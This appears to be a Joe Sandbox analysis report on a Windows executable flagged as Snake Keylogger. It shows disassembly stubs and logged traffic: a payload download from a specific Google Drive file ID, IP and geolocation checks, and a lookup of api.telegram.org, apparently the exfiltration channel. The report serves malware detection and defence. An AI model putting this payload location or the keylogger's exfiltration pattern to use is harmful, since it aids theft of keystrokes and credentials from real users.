Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E6F570h	10_2_36E6F278
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E64E18h	10_2_36E64B20
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E6C0D8h	10_2_36E6BDE0
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E642B7h	10_2_36E63FE8
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E652E0h	10_2_36E64FE8
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E6EBE1h	10_2_36E6E8E8
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E67DE8h	10_2_36E67AF0
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E622C7h	10_2_36E61FF8
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E6A8F0h	10_2_36E6A5F8
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E6ADB8h	10_2_36E6AAC0
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E63997h	10_2_36E636C8
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E6D8C0h	10_2_36E6D5C8
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E66AC8h	10_2_36E667D0
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E619A7h	10_2_36E616D8
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E695D0h	10_2_36E692D8
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E69A98h	10_2_36E697A0
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E63078h	10_2_36E62DA8
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E6C5A0h	10_2_36E6C2A8
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E6F0A8h	10_2_36E6EDB0
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E61087h	10_2_36E60DB8
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E682B0h	10_2_36E67FB8
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E68778h	10_2_36E68480
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E62757h	10_2_36E62488
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E6B280h	10_2_36E6AF88
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E6DD88h	10_2_36E6DA90
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E60767h	10_2_36E60498
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E66F90h	10_2_36E66C98
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E67458h	10_2_36E67160
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E61E37h	10_2_36E61B68
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E69F60h	10_2_36E69C68
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E6CA68h	10_2_36E6C770
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E647E8h	10_2_36E64478
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E65C70h	10_2_36E65978
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E602E7h	10_2_36E60040
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E66138h	10_2_36E65E40
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E6FA38h	10_2_36E6F740
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E61517h	10_2_36E61248
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E68C40h	10_2_36E68948
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E6B748h	10_2_36E6B450
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E63E27h	10_2_36E63B58
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E6E250h	10_2_36E6DF58
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E6E718h	10_2_36E6E420
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E60BF7h	10_2_36E60928
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E67920h	10_2_36E67628
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E6A428h	10_2_36E6A130
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E63507h	10_2_36E63238
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E6CF30h	10_2_36E6CC38
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E6D3F8h	10_2_36E6D100
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E66600h	10_2_36E66308
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E69108h	10_2_36E68E10
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E62BE7h	10_2_36E62918
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E6BC10h	10_2_36E6B918
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	10_2_36E8EF2D
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	10_2_36E8EF08
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E90800h	10_2_36E90508
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then jmp 36E90338h	10_2_36E90040
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	10_2_36EC2A80
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	10_2_36EC2A70

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1_D8Pml6lMbIdvZPiehCG8Phc9LzH2U_A HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1_D8Pml6lMbIdvZPiehCG8Phc9LzH2U_A&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report NDCNDvC27F.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
NDCNDvC27F.exe